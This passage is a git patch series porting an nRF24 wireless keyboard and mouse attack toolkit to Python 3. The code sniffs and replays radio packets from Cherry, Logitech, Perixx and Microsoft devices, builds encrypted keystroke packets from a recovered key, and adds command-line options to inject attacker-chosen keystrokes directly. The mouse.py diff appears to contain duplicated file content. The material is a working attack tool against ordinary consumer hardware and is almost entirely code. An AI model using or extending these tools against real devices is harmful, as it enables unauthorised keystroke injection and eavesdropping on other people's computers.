{0}".format(hexlify(payload))) + print("[+] Received data: {0}".format(hexlify(payload).decode())) payloads.append(payload) # convert address to string and reverse byte order - converted_address = address[::-1].tostring() - address_string = ':'.join('{:02X}'.format(b) for b in address) + address_string = ':'.join('{:02X}'.format(b) for b in address[::-1]) print("[+] Found nRF24 device with address {0} on channel {1}".format(address_string, SCAN_CHANNELS[channel_index])) # ask user about device if not args.address: - answer = raw_input("[?] Attack this device (y/n)? ") - if answer[0] == 'y': + answer = input("[?] Attack this device (y/n)? ") + if answer.lower().startswith('y'): break else: print("[*] Continue scanning ...") @@ -135,7 +143,7 @@ def banner(): break # put the radio in sniffer mode (ESB w/o auto ACKs) - radio.enter_sniffer_mode(converted_address) + radio.enter_sniffer_mode(address[::-1]) # if a specific address was given, also replay the read packets during scanning if args.address: @@ -160,7 +168,7 @@ def banner(): packets.append(payload) # show packet payload - print("[+] Received data: {0}".format(hexlify(payload))) + print("[+] Received data: {0}".format(hexlify(payload).decode())) except KeyboardInterrupt: print("\n[*] Stop recording") @@ -173,15 +181,14 @@ def banner(): replaying = True while replaying: try: - key = raw_input("[*] Press to replay the recorded data packets or to quit ...") + input("[*] Press to replay the recorded data packets or to quit ...") for p in packet_list: - print("[+] Send data: {0}".format(hexlify(p))) - radio.transmit_payload(p.tostring()) + print("[+] Send data: {0}".format(hexlify(p).decode())) + radio.transmit_payload(p) except KeyboardInterrupt: print("\n[*] Stop replaying") replaying = False print("[*] Done.") - From 1c1e43b4f78acd26314c4c71e7f3a29f0ff63f65 Mon Sep 17 00:00:00 2001 From: Einstein2150 Date: Wed, 16 Oct 2024 09:08:15 +0200 Subject: [PATCH 10/20] python3 --- lib/common.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/common.py b/lib/common.py index 503b5f2..172d024 100644 --- a/lib/common.py +++ b/lib/common.py @@ -17,7 +17,7 @@ import logging, argparse -from nrf24 import * +from .nrf24 import * channels = [] args = None @@ -30,7 +30,7 @@ def init_args(description): global parser parser = argparse.ArgumentParser(description, formatter_class=lambda prog: argparse.HelpFormatter(prog,max_help_position=50,width=120)) - parser.add_argument('-c', '--channels', type=int, nargs='+', help='RF channels', default=range(2, 84), metavar='N') + parser.add_argument('-c', '--channels', type=int, nargs='+', help='RF channels', default=list(range(2, 84)), metavar='N') parser.add_argument('-v', '--verbose', action='store_true', help='Enable verbose output', default=False) parser.add_argument('-l', '--lna', action='store_true', help='Enable the LNA (for CrazyRadio PA dongles)', default=False) parser.add_argument('-i', '--index', type=int, help='Dongle index', default=0) From b1dcdf6b1b837aa020743bdb4ee6a14d605bf234 Mon Sep 17 00:00:00 2001 From: Einstein2150 Date: Wed, 16 Oct 2024 09:08:35 +0200 Subject: [PATCH 11/20] python3 --- lib/keyboard.py | 259 +++++++++++------------------------------------- 1 file changed, 57 insertions(+), 202 deletions(-) diff --git a/lib/keyboard.py b/lib/keyboard.py index 56d3471..22ef85b 100644 --- a/lib/keyboard.py +++ b/lib/keyboard.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python2 +#!/usr/bin/env python3 # -*- coding: utf-8 -*- """ @@ -21,20 +21,31 @@ You should have received a copy of the GNU General Public License along with this program. If not, see . + + + (Fork - 2024) + This program has been developed and optimized for use with Python 3 + by Einstein2150. The author acknowledges that further development + and enhancements may be made in the future. The use of this program is + at your own risk, and the author accepts no responsibility for any damages + that may arise from its use. Users are responsible for ensuring that their + use of the program complies with all applicable laws and regulations. + + """ from struct import pack # USB HID keyboard modifier -MODIFIER_NONE = 0 -MODIFIER_CONTROL_LEFT = 1 << 0 -MODIFIER_SHIFT_LEFT = 1 << 1 -MODIFIER_ALT_LEFT = 1 << 2 -MODIFIER_GUI_LEFT = 1 << 3 -MODIFIER_CONTROL_RIGHT = 1 << 4 -MODIFIER_SHIFT_RIGHT = 1 << 5 -MODIFIER_ALT_RIGHT = 1 << 6 -MODIFIER_GUI_RIGHT = 1 << 7 +MODIFIER_NONE = 0 +MODIFIER_CONTROL_LEFT = 1 << 0 +MODIFIER_SHIFT_LEFT = 1 << 1 +MODIFIER_ALT_LEFT = 1 << 2 +MODIFIER_GUI_LEFT = 1 << 3 +MODIFIER_CONTROL_RIGHT = 1 << 4 +MODIFIER_SHIFT_RIGHT = 1 << 5 +MODIFIER_ALT_RIGHT = 1 << 6 +MODIFIER_GUI_RIGHT = 1 << 7 # USB HID key codes KEY_NONE = 0x00 @@ -247,15 +258,15 @@ '|' : (MODIFIER_ALT_RIGHT, KEY_EUROPE_2), '}' : (MODIFIER_ALT_RIGHT, KEY_0), '~' : (MODIFIER_ALT_RIGHT, KEY_BRACKET_RIGHT), - u'\'' : (MODIFIER_SHIFT_LEFT, KEY_EUROPE_1), - u'Ä' : (MODIFIER_SHIFT_LEFT, KEY_APOSTROPHE), - u'Ö' : (MODIFIER_SHIFT_LEFT, KEY_SEMICOLON), - u'Ü' : (MODIFIER_SHIFT_LEFT, KEY_BRACKET_LEFT), - u'ä' : (MODIFIER_NONE, KEY_APOSTROPHE), - u'ö' : (MODIFIER_NONE, KEY_SEMICOLON), - u'ü' : (MODIFIER_NONE, KEY_BRACKET_LEFT), - u'ß' : (MODIFIER_NONE, KEY_MINUS), - u'€' : (MODIFIER_ALT_RIGHT, KEY_E) + '\'' : (MODIFIER_SHIFT_LEFT, KEY_EUROPE_1), + 'Ä' : (MODIFIER_SHIFT_LEFT, KEY_APOSTROPHE), + 'Ö' : (MODIFIER_SHIFT_LEFT, KEY_SEMICOLON), + 'Ü' : (MODIFIER_SHIFT_LEFT, KEY_BRACKET_LEFT), + 'ä' : (MODIFIER_NONE, KEY_APOSTROPHE), + 'ö' : (MODIFIER_NONE, KEY_SEMICOLON), + 'ü' : (MODIFIER_NONE, KEY_BRACKET_LEFT), + 'ß' : (MODIFIER_NONE, KEY_MINUS), + '€' : (MODIFIER_ALT_RIGHT, KEY_E) } @@ -264,121 +275,54 @@ class CherryKeyboard: def __init__(self, initData): """Initialize Cherry keyboard""" - - # set current keymap self.currentKeymap = KEYMAP_GERMAN - - # set AES counter self.counter = initData[11:] - - # set crypto key self.cryptoKey = initData[:11] - - def keyCommand(self, modifiers, keycode1, keycode2 = KEY_NONE, keycode3 = KEY_NONE, - keycode4 = KEY_NONE, keycode5 = KEY_NONE, keycode6 = KEY_NONE): + def keyCommand(self, modifiers, keycode1, keycode2=KEY_NONE, keycode3=KEY_NONE, + keycode4=KEY_NONE, keycode5=KEY_NONE, keycode6=KEY_NONE): """Return AES encrypted keyboard data""" - - # generate HID keyboard data plaintext = pack("11B", modifiers, 0, keycode1, keycode2, keycode3, keycode4, keycode5, keycode6, 0, 0, 0) - - # encrypt the data with the set crypto key - ciphertext = "" - i = 0 - for b in plaintext: - ciphertext += chr(ord(b) ^ ord(self.cryptoKey[i])) - i += 1 - + ciphertext = bytes([plaintext[i] ^ self.cryptoKey[i % len(self.cryptoKey)] for i in range(len(plaintext))]) return ciphertext + self.counter - - def getKeystroke(self, keycode = KEY_NONE, modifiers = MODIFIER_NONE): - """Get a keystroke for a given keycode""" - keystrokes = [] - - # key press - keystrokes.append(self.keyCommand(modifiers, keycode)) - - # key release - keystrokes.append(self.keyCommand(MODIFIER_NONE, KEY_NONE)) - + def getKeystroke(self, keycode=KEY_NONE, modifiers=MODIFIER_NONE): + keystrokes = [self.keyCommand(modifiers, keycode), self.keyCommand(MODIFIER_NONE, KEY_NONE)] return keystrokes - def getKeystrokes(self, string): - """Get stream of keystrokes for a given string of printable ASCII characters""" keystrokes = [] - for char in string: - # key press key = self.currentKeymap[char] keystrokes.append(self.keyCommand(key[0], key[1])) - - # key release keystrokes.append(self.keyCommand(MODIFIER_NONE, KEY_NONE)) - return keystrokes - class PerixxKeyboard: """PerixxKeyboard (HID)""" def __init__(self, initData): - """Initialize Perixx keyboard""" - - # set current keymap self.currentKeymap = KEYMAP_GERMAN - - # set AES counter self.counter = initData[10:] - - # set crypto key self.cryptoKey = initData[:10] - - def keyCommand(self, modifiers, keycode1, keycode2 = KEY_NONE, keycode3 = KEY_NONE, - keycode4 = KEY_NONE, keycode5 = KEY_NONE, keycode6 = KEY_NONE): - """Return AES encrypted keyboard data""" - - # generate HID keyboard data + def keyCommand(self, modifiers, keycode1, keycode2=KEY_NONE, keycode3=KEY_NONE, + keycode4=KEY_NONE, keycode5=KEY_NONE, keycode6=KEY_NONE): plaintext = pack("10B", modifiers, 0, keycode1, keycode2, keycode3, keycode4, keycode5, keycode6, 0, 0) - - # encrypt the data with the set crypto key - ciphertext = "" - i = 0 - for b in plaintext: - ciphertext += chr(ord(b) ^ ord(self.cryptoKey[i])) - i += 1 - + ciphertext = bytes([plaintext[i] ^ self.cryptoKey[i % len(self.cryptoKey)] for i in range(len(plaintext))]) return ciphertext + self.counter - - def getKeystroke(self, keycode = KEY_NONE, modifiers = MODIFIER_NONE): - """Get a keystroke for a given keycode""" - keystrokes = [] - - # key press - keystrokes.append(self.keyCommand(modifiers, keycode)) - - # key release - keystrokes.append(self.keyCommand(MODIFIER_NONE, KEY_NONE)) - + def getKeystroke(self, keycode=KEY_NONE, modifiers=MODIFIER_NONE): + keystrokes = [self.keyCommand(modifiers, keycode), self.keyCommand(MODIFIER_NONE, KEY_NONE)] return keystrokes - def getKeystrokes(self, string): - """Get stream of keystrokes for a given string of printable ASCII characters""" keystrokes = [] - for char in string: - # key press key = self.currentKeymap[char] keystrokes.append(self.keyCommand(key[0], key[1])) - - # key release keystrokes.append(self.keyCommand(MODIFIER_NONE, KEY_NONE)) - return keystrokes @@ -386,153 +330,64 @@ class LogitechKeyboard: """Logitech Keyboard (HID)""" def __init__(self, initData): - """Initialize Logitech keyboard""" - - # set current keymap self.currentKeymap = KEYMAP_GERMAN - - # set crypto key self.cryptoKey = initData[2:14] - - # Logitech packet after key release packet - self.KEYUP = "\x00\x4F\x00\x01\x16\x00\x00\x00\x00\x9A" - + self.KEYUP = b"\x00\x4F\x00\x01\x16\x00\x00\x00\x00\x9A" def checksum(self, data): - checksum = 0 - - for b in data: - checksum -= ord(b) - - return pack("B", (checksum & 0xff)) - + checksum = -sum(data) & 0xFF + return pack("B", checksum) - def keyCommand(self, modifiers, keycode1, keycode2 = KEY_NONE, keycode3 = KEY_NONE, - keycode4 = KEY_NONE, keycode5 = KEY_NONE, keycode6 = KEY_NONE): - """Return AES encrypted keyboard data""" - - # generate HID keyboard data plaintext + def keyCommand(self, modifiers, keycode1, keycode2=KEY_NONE, keycode3=KEY_NONE, + keycode4=KEY_NONE, keycode5=KEY_NONE, keycode6=KEY_NONE): plaintext = pack("12B", modifiers, 0, keycode1, keycode2, keycode3, keycode4, keycode5, keycode6, 0, 0, 0, 0) - - # encrypt the data with the set crypto key - ciphertext = "" - - i = 0 - for b in plaintext: - ciphertext += chr(ord(b) ^ ord(self.cryptoKey[i])) - i += 1 - - # generate Logitech Unifying paket - data = "\x00\xD3" + ciphertext + 7 * "\x00" - + ciphertext = bytes([plaintext[i] ^ self.cryptoKey[i % len(self.cryptoKey)] for i in range(len(plaintext))]) + data = b"\x00\xD3" + ciphertext + b'\x00' * 7 checksum = self.checksum(data) - return data + checksum - - def getKeystroke(self, keycode = KEY_NONE, modifiers = MODIFIER_NONE): - """Get a keystroke for a given keycode""" - keystrokes = [] - - # key press - keystrokes.append(self.keyCommand(modifiers, keycode)) - - # key release - keystrokes.append(self.keyCommand(MODIFIER_NONE, KEY_NONE)) - keystrokes.append(self.KEYUP) - + def getKeystroke(self, keycode=KEY_NONE, modifiers=MODIFIER_NONE): + keystrokes = [self.keyCommand(modifiers, keycode), self.keyCommand(MODIFIER_NONE, KEY_NONE), self.KEYUP] return keystrokes - def getKeystrokes(self, string): - """Get stream of keystrokes for a given string of printable ASCII characters""" keystrokes = [] - for char in string: - # key press key = self.currentKeymap[char] keystrokes.append(self.keyCommand(key[0], key[1])) - - # key release keystrokes.append(self.keyCommand(MODIFIER_NONE, KEY_NONE)) keystrokes.append(self.KEYUP) - return keystrokes class LogitechPresenter: """Logitech Presenter (HID)""" - def __init__(self): - """Initialize Logitech Presenter keyboard""" - - # set current keymap self.currentKeymap = KEYMAP_GERMAN - - # magic packet sent after data packets - self.magic_packet = "\x00\x4F\x00\x00\x55\x00\x00\x00\x00\x5C" - + self.magic_packet = b"\x00\x4F\x00\x00\x55\x00\x00\x00\x00\x5C" def checksum(self, data): - checksum = 0 - - for b in data: - checksum -= ord(b) + checksum = -sum(data) & 0xFF + return pack("B", checksum) - return pack("B", (checksum & 0xff)) - - - def keyCommand(self, modifiers, keycode1, keycode2 = KEY_NONE, keycode3 = KEY_NONE, - keycode4 = KEY_NONE, keycode5 = KEY_NONE, keycode6 = KEY_NONE): - """Return keyboard data""" - - - # generate HID keyboard data + def keyCommand(self, modifiers, keycode1, keycode2=KEY_NONE, keycode3=KEY_NONE, + keycode4=KEY_NONE, keycode5=KEY_NONE, keycode6=KEY_NONE): data = pack("9B", 0, 0xC1, modifiers, keycode1, keycode2, keycode3, keycode4, keycode5, keycode6) - checksum = self.checksum(data) - return data + checksum - - def getKeystroke(self, keycode = KEY_NONE, modifiers = MODIFIER_NONE): - """Get a keystroke for a given keycode""" - keystrokes = [] - - # key press - keystrokes.append(self.keyCommand(modifiers, keycode)) - - # magic packet - keystrokes.append(self.magic_packet) - - # key release - keystrokes.append(self.keyCommand(MODIFIER_NONE, KEY_NONE)) - - # magic packet - keystrokes.append(self.magic_packet) - - + def getKeystroke(self, keycode=KEY_NONE, modifiers=MODIFIER_NONE): + keystrokes = [self.keyCommand(modifiers, keycode), self.magic_packet, + self.keyCommand(MODIFIER_NONE, KEY_NONE), self.magic_packet] return keystrokes - def getKeystrokes(self, string): - """Get stream of keystrokes for a given string of printable ASCII characters""" keystrokes = [] - for char in string: - # key press key = self.currentKeymap[char] keystrokes.append(self.keyCommand(key[0], key[1])) - - # magic packet keystrokes.append(self.magic_packet) - - # key release keystrokes.append(self.keyCommand(MODIFIER_NONE, KEY_NONE)) - - # magic packet keystrokes.append(self.magic_packet) - return keystrokes - From e98232605d82704e63a3a43342bdc6fd96b21095 Mon Sep 17 00:00:00 2001 From: Einstein2150 Date: Wed, 16 Oct 2024 09:12:01 +0200 Subject: [PATCH 12/20] python3 --- lib/mouse.py | 305 ++++++++++++++++++++++++++++++++++++++++----------- 1 file changed, 242 insertions(+), 63 deletions(-) diff --git a/lib/mouse.py b/lib/mouse.py index d6521b3..614f62a 100644 --- a/lib/mouse.py +++ b/lib/mouse.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python2 +#!/usr/bin/env python3 # -*- coding: utf-8 -*- """ @@ -21,10 +21,20 @@ You should have received a copy of the GNU General Public License along with this program. If not, see . + + (Fork - 2024) + This program has been developed and optimized for use with Python 3 + by Einstein2150. The author acknowledges that further development + and enhancements may be made in the future. The use of this program is + at your own risk, and the author accepts no responsibility for any damages + that may arise from its use. Users are responsible for ensuring that their + use of the program complies with all applicable laws and regulations. + + """ -__version__ = '0.8' -__author__ = 'Matthias Deeg' +__version__ = '0.9' +__author__ = 'Einstein2150' from struct import pack, unpack @@ -49,24 +59,223 @@ def __init__(self): self.middle_button = False self.right_button = False + def move(self, x=0, y=0, wheel=0, button=MOUSE_BUTTON_NONE): + """Move the mouse""" + + x = max(min(x, 127), -127) + y = max(min(y, 127), -127) + + data = pack("5b", 0x01, button, x, y, wheel) + return data + + def click(self, button): + """Click a mouse button""" + + return self.move(0, 0, 0, button) + + +class MicrosoftMouse: + """MicrosoftMouse""" + + def __init__(self): + """Initialize Microsoft mouse""" + + # mouse button state + self.left_button = False + self.middle_button = False + self.right_button = False + + # packet counter + self.packet_counter = 0 - def move(self, x = 0, y = 0, wheel = 0, button = MOUSE_BUTTON_NONE): + def checksum(self, data): + checksum = 0xff + + for b in data: + checksum ^= b + + return checksum + + def move(self, x=0, y=0, wheel=0, button=MOUSE_BUTTON_NONE): """Move the mouse""" - if x > 127: - x = 127 - elif x < -127: - x = -127 + x = max(min(x, 127), -127) + y = max(min(y, 127), -127) - if y > 127: - y = 127 - elif y < -127: - y = -127 + # increase the packet counter + self.packet_counter += 1 - data = pack("5b", 0x01, button, x, y, wheel) + counter = pack(" and + Gerhard Klostermeier + + Copyright (c) 2016 SySS GmbH + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +""" + +__version__ = '0.8' +__author__ = 'Matthias Deeg' + + +from struct import pack, unpack + +# USB HID mouse buttons +MOUSE_BUTTON_NONE = 0 +MOUSE_BUTTON_LEFT = 1 << 0 +MOUSE_BUTTON_RIGHT = 1 << 1 +MOUSE_BUTTON_MIDDLE = 1 << 2 +MOUSE_WHEEL_UP = 1 +MOUSE_WHEEL_DOWN = -1 + + +class CherryMouse: + """CherryMouse (HID)""" + + def __init__(self): + """Initialize Cherry mouse""" + + # mouse button state + self.left_button = False + self.middle_button = False + self.right_button = False + + def move(self, x=0, y=0, wheel=0, button=MOUSE_BUTTON_NONE): + """Move the mouse""" + + x = max(min(x, 127), -127) + y = max(min(y, 127), -127) + + data = pack("5b", 0x01, button, x, y, wheel) + return data def click(self, button): """Click a mouse button""" @@ -88,28 +297,19 @@ def __init__(self): # packet counter self.packet_counter = 0 - def checksum(self, data): checksum = 0xff for b in data: - checksum ^= ord(b) + checksum ^= b return checksum - - def move(self, x = 0, y = 0, wheel = 0, button = MOUSE_BUTTON_NONE): + def move(self, x=0, y=0, wheel=0, button=MOUSE_BUTTON_NONE): """Move the mouse""" - if x > 127: - x = 127 - elif x < -127: - x = -127 - - if y > 127: - y = 127 - elif y < -127: - y = -127 + x = max(min(x, 127), -127) + y = max(min(y, 127), -127) # increase the packet counter self.packet_counter += 1 @@ -121,14 +321,13 @@ def move(self, x = 0, y = 0, wheel = 0, button = MOUSE_BUTTON_NONE): wheel_bytes = pack(" 127: - x = 127 - elif x < -127: - x = -127 - - if y > 127: - y = 127 - elif y < -127: - y = -127 + x = max(min(x, 127), -127) + y = max(min(y, 127), -127) mouse_button = pack("b", button) x_bytes = pack(" 127: - x = 127 - elif x < -127: - x = -127 - - if y > 127: - y = 127 - elif y < -127: - y = -127 + x = max(min(x, 127), -127) + y = max(min(y, 127), -127) x_bytes = pack(" Date: Wed, 16 Oct 2024 09:12:39 +0200 Subject: [PATCH 13/20] python3 --- lib/nrf24.py | 209 ++++++++++++++++++++++++++------------------------- 1 file changed, 106 insertions(+), 103 deletions(-) diff --git a/lib/nrf24.py b/lib/nrf24.py index a0e1a01..f3273e8 100644 --- a/lib/nrf24.py +++ b/lib/nrf24.py @@ -1,4 +1,7 @@ -''' +#!/usr/bin/env python3 +# -*- coding: utf-8 -*- + +""" Copyright (C) 2016 Bastille Networks This program is free software: you can redistribute it and/or modify @@ -13,16 +16,28 @@ You should have received a copy of the GNU General Public License along with this program. If not, see . -''' - - -import usb, logging + + + (Fork - 2024) + This program has been developed and optimized for use with Python 3 + by Einstein2150. The author acknowledges that further development + and enhancements may be made in the future. The use of this program is + at your own risk, and the author accepts no responsibility for any damages + that may arise from its use. Users are responsible for ensuring that their + use of the program complies with all applicable laws and regulations. + + +""" + +import usb +import logging +import sys # Check pyusb dependency try: - from usb import core as _usb_core -except ImportError, ex: - print ''' + from usb import core as _usb_core +except ImportError as ex: + print(''' ------------------------------------------ | PyUSB was not found or is out of date. | ------------------------------------------ @@ -30,8 +45,8 @@ Please update PyUSB using pip: sudo pip install -U -I pip && sudo pip install -U -I pyusb -''' - sys.exit(1) +''') + sys.exit(1) # USB commands TRANSMIT_PAYLOAD = 0x04 @@ -46,9 +61,6 @@ ENTER_PROMISCUOUS_MODE_GENERIC = 0x0D RECEIVE_PAYLOAD = 0x12 -# nRF24LU1+ registers -RF_CH = 0x05 - # RF data rates RF_RATE_250K = 0 RF_RATE_1M = 1 @@ -57,93 +69,84 @@ # nRF24LU1+ radio dongle class nrf24: - # Sufficiently long timeout for use in a VM - usb_timeout = 2500 - - # Constructor - def __init__(self, index=0): - try: - self.dongle = list(usb.core.find(idVendor=0x1915, idProduct=0x0102, find_all=True))[index] - self.dongle.set_configuration() - except usb.core.USBError, ex: - raise ex - except: - raise Exception('Cannot find USB dongle.') - - # Put the radio in pseudo-promiscuous mode - def enter_promiscuous_mode(self, prefix=[]): - self.send_usb_command(ENTER_PROMISCUOUS_MODE, [len(prefix)]+map(ord, prefix)) - self.dongle.read(0x81, 64, timeout=nrf24.usb_timeout) - if len(prefix) > 0: - logging.debug('Entered promiscuous mode with address prefix {0}'. - format(':'.join('{:02X}'.format(ord(b)) for b in prefix))) - else: - logging.debug('Entered promiscuous mode') - - # Put the radio in pseudo-promiscuous mode without CRC checking - def enter_promiscuous_mode_generic(self, prefix=[], rate=RF_RATE_2M, payload_length=32): - self.send_usb_command(ENTER_PROMISCUOUS_MODE_GENERIC, [len(prefix), rate, payload_length]+map(ord, prefix)) - self.dongle.read(0x81, 64, timeout=nrf24.usb_timeout) - if len(prefix) > 0: - logging.debug('Entered generic promiscuous mode with address prefix {0}'. - format(':'.join('{:02X}'.format(ord(b)) for b in prefix))) - else: - logging.debug('Entered promiscuous mode') - - # Put the radio in ESB "sniffer" mode (ESB mode w/o auto-acking) - def enter_sniffer_mode(self, address): - self.send_usb_command(ENTER_SNIFFER_MODE, [len(address)]+map(ord, address)) - self.dongle.read(0x81, 64, timeout=nrf24.usb_timeout) - logging.debug('Entered sniffer mode with address {0}'. - format(':'.join('{:02X}'.format(ord(b)) for b in address[::-1]))) - - # Put the radio into continuous tone (TX) test mode - def enter_tone_test_mode(self): - self.send_usb_command(ENTER_TONE_TEST_MODE, []) - self.dongle.read(0x81, 64, timeout=nrf24.usb_timeout) - logging.debug('Entered continuous tone test mode') - - # Receive a payload if one is available - def receive_payload(self): - self.send_usb_command(RECEIVE_PAYLOAD, ()) - return self.dongle.read(0x81, 64, timeout=nrf24.usb_timeout) - - # Transmit a generic (non-ESB) payload - def transmit_payload_generic(self, payload, address="\x33\x33\x33\x33\x33"): - data = [len(payload), len(address)]+map(ord, payload)+map(ord, address) - self.send_usb_command(TRANSMIT_PAYLOAD_GENERIC, data) - return self.dongle.read(0x81, 64, timeout=nrf24.usb_timeout)[0] > 0 - - # Transmit an ESB payload - def transmit_payload(self, payload, timeout=4, retransmits=15): - data = [len(payload), timeout, retransmits]+map(ord, payload) - self.send_usb_command(TRANSMIT_PAYLOAD, data) - return self.dongle.read(0x81, 64, timeout=nrf24.usb_timeout)[0] > 0 - - # Transmit an ESB ACK payload - def transmit_ack_payload(self, payload): - data = [len(payload)]+map(ord, payload) - self.send_usb_command(TRANSMIT_ACK_PAYLOAD, data) - return self.dongle.read(0x81, 64, timeout=nrf24.usb_timeout)[0] > 0 - - # Set the RF channel - def set_channel(self, channel): - if channel > 125: channel = 125 - self.send_usb_command(SET_CHANNEL, [channel]) - self.dongle.read(0x81, 64, timeout=nrf24.usb_timeout) - logging.debug('Tuned to {0}'.format(channel)) - - # Get the current RF channel - def get_channel(self): - self.send_usb_command(GET_CHANNEL, []) - return self.dongle.read(0x81, 64, timeout=nrf24.usb_timeout) - - # Enable the LNA (CrazyRadio PA) - def enable_lna(self): - self.send_usb_command(ENABLE_LNA_PA, []) - self.dongle.read(0x81, 64, timeout=nrf24.usb_timeout) - - # Send a USB command - def send_usb_command(self, request, data): - data = [request] + list(data) - self.dongle.write(0x01, data, timeout=nrf24.usb_timeout) + usb_timeout = 2500 # Sufficiently long timeout for use in a VM + + def __init__(self, index=0): + try: + self.dongle = list(usb.core.find(idVendor=0x1915, idProduct=0x0102, find_all=True))[index] + self.dongle.set_configuration() + except usb.core.USBError as ex: + raise ex + except Exception: + raise Exception('Cannot find USB dongle.') + + # Put the radio in pseudo-promiscuous mode + def enter_promiscuous_mode(self, prefix=[]): + self.send_usb_command(ENTER_PROMISCUOUS_MODE, [len(prefix)] + list(prefix)) + self.dongle.read(0x81, 64, timeout=nrf24.usb_timeout) + logging.debug(f'Entered promiscuous mode with address prefix {":".join("{:02X}".format(b) for b in prefix)}') + + # Put the radio in pseudo-promiscuous mode without CRC checking + def enter_promiscuous_mode_generic(self, prefix=[], rate=RF_RATE_2M, payload_length=32): + self.send_usb_command(ENTER_PROMISCUOUS_MODE_GENERIC, [len(prefix), rate, payload_length] + list(prefix)) + self.dongle.read(0x81, 64, timeout=nrf24.usb_timeout) + logging.debug(f'Entered generic promiscuous mode with address prefix {":".join("{:02X}".format(b) for b in prefix)}') + + # Put the radio in ESB "sniffer" mode (ESB mode w/o auto-acking) + def enter_sniffer_mode(self, address): + if isinstance(address, str): + address = address.encode() + self.send_usb_command(ENTER_SNIFFER_MODE, [len(address)] + list(address)) + self.dongle.read(0x81, 64, timeout=nrf24.usb_timeout) + logging.debug(f'Entered sniffer mode with address {":".join("{:02X}".format(b) for b in address[::-1])}') + + # Put the radio into continuous tone (TX) test mode + def enter_tone_test_mode(self): + self.send_usb_command(ENTER_TONE_TEST_MODE, []) + self.dongle.read(0x81, 64, timeout=nrf24.usb_timeout) + logging.debug('Entered continuous tone test mode') + + # Receive a payload if one is available + def receive_payload(self): + self.send_usb_command(RECEIVE_PAYLOAD, []) + return self.dongle.read(0x81, 64, timeout=nrf24.usb_timeout) + + # Transmit a generic (non-ESB) payload + def transmit_payload_generic(self, payload, address=b"\x33\x33\x33\x33\x33"): + data = [len(payload), len(address)] + list(payload) + list(address) + self.send_usb_command(TRANSMIT_PAYLOAD_GENERIC, data) + return self.dongle.read(0x81, 64, timeout=nrf24.usb_timeout)[0] > 0 + + # Transmit an ESB payload + def transmit_payload(self, payload, timeout=4, retransmits=15): + data = [len(payload), timeout, retransmits] + list(payload) + self.send_usb_command(TRANSMIT_PAYLOAD, data) + return self.dongle.read(0x81, 64, timeout=nrf24.usb_timeout)[0] > 0 + + # Transmit an ESB ACK payload + def transmit_ack_payload(self, payload): + data = [len(payload)] + list(payload) + self.send_usb_command(TRANSMIT_ACK_PAYLOAD, data) + return self.dongle.read(0x81, 64, timeout=nrf24.usb_timeout)[0] > 0 + + # Set the RF channel + def set_channel(self, channel): + channel = min(channel, 125) + self.send_usb_command(SET_CHANNEL, [channel]) + self.dongle.read(0x81, 64, timeout=nrf24.usb_timeout) + logging.debug(f'Tuned to {channel}') + + # Get the current RF channel + def get_channel(self): + self.send_usb_command(GET_CHANNEL, []) + return self.dongle.read(0x81, 64, timeout=nrf24.usb_timeout) + + # Enable the LNA (CrazyRadio PA) + def enable_lna(self): + self.send_usb_command(ENABLE_LNA_PA, []) + self.dongle.read(0x81, 64, timeout=nrf24.usb_timeout) + + # Send a USB command + def send_usb_command(self, request, data): + data = [request] + list(data) + self.dongle.write(0x01, data, timeout=nrf24.usb_timeout) From 41fe0b5cbe56363a483afb1733ae5c8fb0db4b77 Mon Sep 17 00:00:00 2001 From: Einstein2150 Date: Thu, 24 Oct 2024 12:46:45 +0200 Subject: [PATCH 14/20] enhanced command line operations start with known ID and key and skip searching (-hex -key) direct execute and quit an attack with (-x) help added (-h) --- .gitignore | 1 + cherry_attack.py | 161 ++++++++++++++++++++++++++++++++++++++++------- 2 files changed, 140 insertions(+), 22 deletions(-) diff --git a/.gitignore b/.gitignore index b38362e..64bff30 100644 --- a/.gitignore +++ b/.gitignore @@ -1,2 +1,3 @@ *.html *.pyc +.DS_Store diff --git a/cherry_attack.py b/cherry_attack.py index 8e1dfd3..0adcbc8 100644 --- a/cherry_attack.py +++ b/cherry_attack.py @@ -41,10 +41,11 @@ __version__ = '1.1' __author__ = 'Einstein2150' +import argparse import logging import pygame -from binascii import hexlify +from binascii import hexlify, unhexlify from lib import keyboard from lib import nrf24 from logging import debug, info @@ -53,7 +54,7 @@ from sys import exit # constants -ATTACK_VECTOR = "Just an input from the hacker :D Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet." +DEFAULT_ATTACK_VECTOR = "Just an input from the hacker :D" RECORD_BUTTON = pygame.K_1 REPLAY_BUTTON = pygame.K_2 @@ -74,9 +75,12 @@ class CherryAttack(): """Cherry Attack""" - def __init__(self): + def __init__(self, crypto_key=None, device_address=None, attack_vector=None, execute=False): """Initialize Cherry Attack""" - + info(f"Execute: {execute}, Attack Vector: {attack_vector}") + self.crypto_key = crypto_key + self.device_address = device_address + self.attack_vector = attack_vector self.state = IDLE self.channel = 6 self.payloads = [] @@ -84,6 +88,7 @@ def __init__(self): self.screen = None self.font = None self.statusText = "" + self.execute = execute try: pygame.init() @@ -95,14 +100,53 @@ def __init__(self): self.font = pygame.font.SysFont("arial", 24) self.screen.blit(self.bg, (0, 0)) pygame.display.update() - pygame.key.set_repeat(250, 50) + #pygame.key.set_repeat(250, 50) self.radio = nrf24.nrf24() self.radio.enable_lna() - self.setState(SCAN) + + # If key and device address are provided, skip scanning and initialize keyboard directly + if self.crypto_key and self.device_address: + self.initialize_keyboard() + else: + self.setState(SCAN) + # Check if execute flag is set and attack vector is provided + if execute and attack_vector: + self.setState(ATTACK) + self.perform_attack() # Perform the attack immediately + except Exception as e: info(f"[-] Error: Could not initialize Cherry Attack: {e}") - + + def perform_attack(self): + """Perform the attack with the provided attack vector.""" + if self.kbd is not None: + # send keystrokes for attack + keystrokes = [] + keystrokes.append(self.kbd.keyCommand(keyboard.MODIFIER_NONE, keyboard.KEY_NONE)) + 